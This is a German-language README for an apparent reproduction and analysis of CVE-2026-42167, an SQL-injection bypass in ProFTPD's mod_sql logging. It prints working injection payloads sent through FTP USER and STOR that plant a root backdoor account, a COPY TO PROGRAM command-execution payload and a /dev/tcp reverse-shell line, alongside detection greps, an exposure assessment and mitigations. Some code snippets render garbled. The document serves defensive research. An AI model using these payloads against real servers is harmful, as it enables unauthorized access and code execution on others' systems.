
Unabhängige Reproduktion, Root-Cause-Analyse auf Code-Ebene und realistische Exposure-Dokumentation für CVE-2026-42167 (ProFTPD mod_sql is_escaped_text()-Umgehung).
mod_sql SQL-Injection / Auth-Bypass / RCEUnabhängige Reproduktion, Code-Level-Root-Cause-Analyse und eine offene
Expositionsanalyse für CVE-2026-42167 — den is_escaped_text()-Bypass in
der mod_sql-Logging-Pipeline von ProFTPD, offengelegt von ZeroPath Research
und behoben in ProFTPD 1.3.9a / 1.3.10rc1.
End-to-End in Docker auf macOS / Apple Silicon erstellt und verifiziert, 2026-04-29.
TL;DR — siehe Fazit für das realistische Expositionsbild, bevor Sie entscheiden, wie besorgt Sie sein sollten. Dies ist kein Standard-Installations-Bug, aber das gefährliche Quoting-Muster ist das Muster, das die Upstream-Dokumentation Ihnen zu verwenden empfiehlt, sodass ein großer Teil der
mod_sql-Bereitstellungen es erbt.
| Feld | Wert |
|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQL-Injection), CWE-78 (OS-Command-Injection — via PG COPY TO PROGRAM) |
| Betroffen | ProFTPD ≤ 1.3.9 mit mod_sql + SQLLog/SQLNamedQuery, dessen Formatstring eine angreiferkontrollierte Variable innerhalb einfacher Anführungszeichen interpoliert |
| Behoben in | 1.3.9a (af90843ba…) / 1.3.10rc1, siehe Commit e6f728481 ("Issue #2052") |
| Fixierter verwundbarer Commit | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| Verwundbare Datei | contrib/mod_sql.c Zeilen 741–758 (is_escaped_text) und Zeile 777 (sql_resolved_append_text) |
| Ursprüngliche Offenlegung | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| Öffentlicher PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Release-Notizen | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text()-Heuristik in contrib/mod_sql.cmod_sql löst Logging-Formatvariablen (%U, %{basename}, usw.) auf und
hängt jedes Stück über sql_resolved_append_text() in das gerenderte SQL ein.
Um die Abwärtskompatibilität mit Admin-Konfigurationen zu wahren, die Variablen
bereits in '…' kapseln, ruft die Funktion is_escaped_text() auf, um zu
entscheiden, ob sql_escapestring benötigt wird:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
Die Prüfung ist rein strukturell – sie kann nicht zwischen *„bereits durch
vertrauenswürdigen Code maskiert"* und *„von einem Angreifer so gestaltet, dass es
bereits maskiert aussieht"* unterscheiden.
Jeder clientseitig gelieferte Wert, der `'<no-internal-quotes>'` entspricht, überspringt
`sql_escapestring` und wird unverarbeitet in die endgültige Abfrage eingefügt.
Die standardmäßige, dokumentierte Konfiguration umschließt `%U` / `%{basename}` / `%m` in einfache
Anführungszeichen:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
Wenn der Angreifer USER '<payload>' sendet (Anführungszeichen am Anfang und Ende, keine
internen Anführungszeichen), ersetzt der Resolver %U unescaped, was
''<payload>'' in der SQL-Abfrage erzeugt – die leeren String-Literale schließen die
umgebenden Anführungszeichen und <payload> wird als rohes SQL ausgeführt. Mit PostgreSQL
(PQexec) und SQLite (sqlite3_exec) werden gestapelte Abfragen unterstützt, sodass
<payload> eine beliebige Folge von Anweisungen sein kann.
Da SQLLog ERR_* bei fehlgeschlagenen Logins ausgelöst wird und %U aus
USER vor der Authentifizierung gesetzt wird, ist der Angriff vollständig ohne Authentifizierung möglich.
e6f728481, "Issue #2052")sql_resolved_append_text() erhält einen already_escaped-Parameter. Aufrufer,
die Werte aus Client-Eingaben auflösen, übergeben FALSE und durchlaufen nun
sql_escapestring bedingungslos – die is_escaped_text()-Heuristik wird
weiterhin für den legitimen Pfad "Konfiguration enthält vorab escaped Wert" angewendet, gilt aber
nicht mehr für angreiferkontrollierte Daten.
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- Beide Container werden über `setup/docker-compose.yml` gestartet.
- `setup/proftpd.conf` aktiviert die verwundbare Logging-Konfiguration (siehe §1).
- `setup/seed.sql` erstellt `users`, `groups`, `activity_log`, `xfer_log`
und `secrets` sowie einen einzelnen legitimen FTP-Benutzer `ftpuser / ftppass`.
---
## 3. Reproduktion — Copy/Paste
Voraussetzungen: Docker Desktop, Python 3.10+, git. (`uv` ist optional; die
PoCs benötigen nur die Standardbibliothek.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
Die beiden interaktiven Varianten im Upstream-Repository
(preauth_user_rce.py, postauth_stor_rce.py) sind unverändert und öffnen eine
PTY-gestützte Reverse Shell. Sie verwenden dasselbe Primitive wie die Marker-Variante —
ersetze einfach den Shell-Befehl durch bash -i >& /dev/tcp/<host>/<port> 0>&1 und höre zuerst auf <port>.
USER-Befehl, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
Warum es funktioniert:
1. Die **äußeren Anführungszeichen + keine inneren Anführungszeichen** entsprechen
`is_escaped_text()` → Escape wird übersprungen.
2. Die konfigurierte `SQLNamedQuery` ist `INSERT "'%U', '%r', '%m'" activity_log`,
sodass das gerenderte SQL zu
`INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` wird — aber
`<payload>` selbst beginnt mit `'`, sodass die effektive Abfrage
`INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
VALUES($$backdoor$$,…); --', '<%r>', '<%m>')` lautet.
3. `--` kommentiert die nachfolgenden Format-Platzhalter aus.
4. `$$…$$` PostgreSQL-Dollar-Quoting ermöglicht es uns, Zeichenfolgen (`backdoor`,
`pwned123`, `/`, `/bin/bash`) zu übergeben, ohne jemals `'` zu verwenden — was den
`is_escaped_text()`-Bypass erhält.
5. `SQLLog ERR_*` wird beim fehlgeschlagenen Login ausgelöst → `PQexec()` führt das gestapelte
`INSERT INTO users` aus → das Backdoor-Konto existiert in der Auth-Tabelle.
### Backdoor nach der Authentifizierung (`STOR`-Dateiname, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
Gleicher Bypass, anderer Auslöser. chr(47) = '/' wird verwendet, weil
/ in einem Dateinamen von FTP als Verzeichnistrenner interpretiert wird, der
Angreifer also kein wörtliches / in den Dateinamen setzen kann — chr() lässt
das Hintertür-Konto homedir = '/' erhalten, ohne eines über die Leitung zu senden.
USER + COPY TO PROGRAM)```USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x
Wo `<shell-cmd>` ein beliebiger Befehl ist. PostgreSQL führt ihn über `/bin/sh`
auf dem **Datenbank**-Host als `postgres`-OS-Benutzer aus. Erfordert, dass die DB-Rolle,
die von `mod_sql` verwendet wird, ein Superuser ist (oder Mitglied von
`pg_execute_server_program`) — üblich in Single-Tenant-Bereitstellungen und
die Standardeinstellung für das offizielle `postgres`-Docker-Image, wenn die Rolle über
`POSTGRES_USER` erstellt wird.
---
## 5. Während der Reproduktion erfasste Beweise
| Datei | Was sie zeigt |
|---|---|
| `logs/01_preauth_backdoor.log` | Pre-Auth-PoC-Ausgabe, Login als `backdoor` erfolgreich (`230`) |
| `logs/02_db_users_after.log` | `users`-Tabelle enthält nun `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Post-Auth-PoC-Ausgabe über STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Marker-Payload über FTP gesendet |
| `logs/06_users_final.log` | Endzustand der `users`-Tabelle |
| `logs/07_proftpd_trace.log` | ProFTPDs eigenes Trace-Log, das `text '…' is already escaped, skipping escaping it again` für jede injizierte Payload ausgibt — direkter Beweis, dass `is_escaped_text()` bei Angreifer-Eingaben TRUE zurückgibt |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` geschrieben *vom postgres-Benutzer* auf dem postgres-Container |
| `screenshots/*.png` | PNG-Darstellungen jeder aufgezeichneten Terminal-Sitzung |
Die Trace-Log-Zeile ist der entscheidende Beweis:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
is already escaped, skipping escaping it again
Diese Meldung wird in contrib/mod_sql.c:791 nur dann ausgegeben, wenn
is_escaped_text() TRUE zurückgegeben hat – also genau beim Bypass.
Erkennung (Forensik auf einem bereitgestellten Server):
grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log
mit aktiviertem Trace sql:17 protokolliert jeden Injektionsversuch, der den
Bypass erreicht hat.activity_log (oder die Tabelle, in die SQLNamedQuery INSERT schreibt):
Zeilen, bei denen die Benutzerspalte mit einem unerwarteten Anführungszeichen beginnt,
null, null); enthält oder INSERT/COPY TO PROGRAM/UPDATE enthält, sind ein Beleg.users-Tabelle auf Konten mit uid=0, homedir='/' oder einer
echten Shell, wenn die Richtlinie /sbin/nologin vorsieht.Gegenmaßnahmen:
e6f728481).SQLNamedQuery-Formatstrings (ersetzen Sie '%U'
nur in parametrisierten Backends durch das sicherere %U, oder verwenden Sie
dateibasierte Klartextprotokollierung für fehlgeschlagene Anmeldungen).mod_sql-PostgreSQL-Rolle kein
Superuser ist – allein das entfernt den COPY TO PROGRAM-RCE-Pfad (der Auth-Bypass
über gestapeltes INSERT INTO users funktioniert weiterhin, aber der Schadensradius
ist auf die proftpd-Datenbank begrenzt).. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png
---
## 8. Ist das realistisch – oder ein konstruierter Grenzfall?
Die ehrliche Antwort: **enger gefasst als ein „Ein-Paket-senden-und-Server-übernehmen“-Wurm, aber das anfällige Muster steht in ProFTPDs eigener Dokumentation, also ist es nicht konstruiert.** Drei unabhängige Dimensionen entscheiden, ob eine bestimmte Installation betroffen ist, und jede einzelne reduziert die Zielgruppe.
### 8.1 Ist `mod_sql` überhaupt geladen?
`mod_sql` ist optional. Es ist **nicht** im Standard-Build von ProFTPD enthalten und auch nicht in der Standardkonfiguration von Distro-Paketen wie Debian `proftpd-basic`. Du hast es nur, wenn:
- Du mit `--with-modules=mod_sql:mod_sql_<backend>` kompiliert hast, oder
- Du ein backend-spezifisches Paket installiert hast: Debian `proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`, RHEL `proftpd-postgresql` / `proftpd-mysql`.
Leute installieren diese Pakete aus einem klaren Grund: SQL-gestützte **Authentifizierung** (Benutzer in einer DB statt in `/etc/passwd`) oder SQL-gestützte **Aktivitätsprotokollierung** für Audits. Beides ist in Shared-Hosting-, Managed-FTP- und Unternehmens-FTP-Ablage-Umgebungen üblich. `mod_sql` ist also ein realer Teil der Installationsbasis – nur eben nicht „jeder Server“.
### 8.2 Wird das anfällige `SQLNamedQuery`-Muster tatsächlich verwendet?
Hier ist die Realitätsnähe am höchsten. Das Muster, das den Bug auslöst, *ist das dokumentierte.* Beispiele direkt aus dem Upstream-Baum beim festgelegten anfälligen Commit:```
# doc/contrib/mod_sql.html ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog RETR,STOR insertfileinfo
# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
(user, client_ip, server_ip, protocol, when)
VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog PASS log_sess IGNORE_ERRORS
# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog STOR upload
Jeder von ihnen umschließt eine angreiferkontrollierte Variable (%u, %r) in einfachen
Anführungszeichen — exakt die Form, die is_escaped_text() falsch klassifiziert. Ein Admin,
der aus der offiziellen Doku kopiert und einfügt, übernimmt das verwundbare Muster.
Das ist der Hauptgrund, dies ernst zu nehmen.
Der vollständig unauthentifizierte Pfad (USER + %U + SQLLog ERR_*) ist der
engste Fall. Er erfordert alle drei:
SQLNamedQuery, die %U (Original-Benutzername, selbst bei fehlgeschlagenem
Login gesetzt) innerhalb einfacher Anführungszeichen interpoliert — in realen
Konfigurationen seltener als %u, da die meisten Admins den erfolgreichen
Benutzernamen für die Auditierung wollen und %u verwenden.SQLLog-Direktive, die vor der Authentifizierung ausgelöst wird. SQLLog ERR_* ist
der kanonische Wildcard dafür. SQLLog PASS … und SQLLog STOR …
(die häufigsten Formen) tun das nicht.Wenn die Konfiguration %u statt %U verwendet, erzeugt derselbe Bug weiterhin einen
Auth-Bypass — aber nur post-auth, d. h. der Angreifer benötigt zuerst irgendwelche
funktionierenden Zugangsdaten, bevor er ein uid=0-Hintertürchen pflanzen kann. In den meisten
realen Konfigurationen ist dies die realistische Gefährdung: FTP-Benutzer mit niedrigen Rechten → FTP-Benutzer mit Root-Rechten über einen einzigen Upload.
Der Bypass feuert auf jedem Backend identisch, aber was der Angreifer tun kann, unterscheidet sich stark:
| Backend | Gestapelte Abfragen? | Auth-Bypass via INSERT INTO users | RCE auf dem DB-Host |
|---|---|---|---|
| PostgreSQL | Ja (PQexec) | Funktioniert | Ja via COPY TO PROGRAM, wenn die DB-Rolle Superuser ist |
| SQLite | Ja (sqlite3_exec) | Funktioniert (und der FTP-Worker hat oft PRIVS_ROOT — noch schlimmer) | Kein direktes Äquivalent, aber beschreibbare users-Tabelle → Root-FTP-Login |
| MySQL | Nein — mysql_real_query ohne CLIENT_MULTI_STATEMENTS | Kann keine zweite Anweisung anhängen; reduziert sich auf Single-Statement-Subquery / blindes SQLi nur zur Datenextraktion | Nein |
PostgreSQL oder SQLite ⇒ volle Auswirkung. MySQL ⇒ nur Datenleck / zeitbasiertes blindes SQLi. MySQL ist mit Abstand das häufigste Backend für Shared Hosting (cPanel, Plesk, ISPConfig verwenden es standardmäßig); PostgreSQL ist bei kundenspezifischen Enterprise-Builds häufiger. Beide Populationen sind nicht trivial.
Die Schlagzeilen-RCE via COPY TO PROGRAM erfordert zusätzlich, dass die mod_sql-
PostgreSQL-Rolle ein Superuser ist (oder Mitglied von
pg_execute_server_program). Das ist:
POSTGRES_USER-Umgebungsvariable des offiziellen postgres-
Docker-Images erstellt wurde (Standard für die meisten PoC-Labore und viele
Appliance-Images, einschließlich setup/ dieses Repos).Wenn die Rolle kein Superuser ist, erhält man trotzdem die Auth-Bypass-Primitive (für sich genommen bereits kritisch), aber die OS-Ebene-RCE auf dem DB-Host verschwindet.
ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above
---
## 10. Empfehlung
Für alle, die ProFTPD `mod_sql` betreiben:
- **Upgrade** unabhängig davon auf ≥ 1.3.9a. Es ist die einzige vollständige Lösung.
- **Kompensierende Kontrollen**, bis Sie patchen können:
- Setzen Sie die DB-Rolle auf **Nicht-Superuser** herab — das unterbindet den RCE-Zweig auf PostgreSQL.
- Prüfen Sie Ihre `users`-/Auth-Tabelle auf verirrte `uid=0`-Zeilen oder kürzlich hinzugefügte Konten — siehe §6.
- Aktivieren Sie `Trace sql:17` und durchsuchen Sie `trace.log` nach `is already escaped, skipping escaping it again` — diese Zeile ist ein direkter Beleg für einen versuchten Bypass.
- Falls möglich, entfernen Sie `SQLLog ERR_*`-Direktiven und alle `SQLNamedQuery INSERT`-Formate, die `%U` interpolieren (die Pre-Auth-Primitive). Der Post-Auth-Pfad über `%u` / `%{basename}` bleibt weiterhin bestehen, aber Sie beseitigen den schlimmsten Fall.
---
## 11. Fazit
- Dies ist **keine** „Schwachstelle bei Standardinstallation“ — Sie müssen `mod_sql` ausführen.
- Es **ist** eine „Schwachstelle durch Befolgen der Dokumentation“ — das gefährliche Quoting-Muster ist das offizielle, das in den Upstream-HOWTOs kopiert und eingefügt wurde.
- Das **vollständig unauthentifizierte** Szenario aus der Überschrift ist real, erfordert jedoch eine spezifische (Pre-Auth-`%U` + `SQLLog ERR_*`-Wildcard) Konfigurationskombination, die seltener ist als der Post-Auth-Pfad.
- Das **Post-Auth-Privilege-Escalation**-Szenario (jeder FTP-Benutzer → uid=0 FTP-Backdoor) ist das weitaus realistischere und betrifft einen großen Teil der `mod_sql`- + PostgreSQL-/SQLite-Bereitstellungen, die die dokumentierten Logging-Muster verwenden.
- Die **OS-Level-RCE auf dem DB-Host** hängt davon ab, dass die DB-Rolle ein Superuser ist — häufig in Single-Tenant-/Appliance-artigen Setups, seltener in DBA-verwalteten Umgebungen.
---
## Danksagungen
- Schwachstelle entdeckt und ursprünglich offengelegt von [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Öffentliches PoC-Repository: [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Fix von TJ Saunders, Commit [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48) („Issue #2052“).
Dieses Repository ist eine unabhängige Reproduktion und Analyse für defensive Forschung und Bildung. Kein 0-Day. Verwenden Sie es nur auf Systemen, für die Sie autorisiert sind, Tests durchzuführen.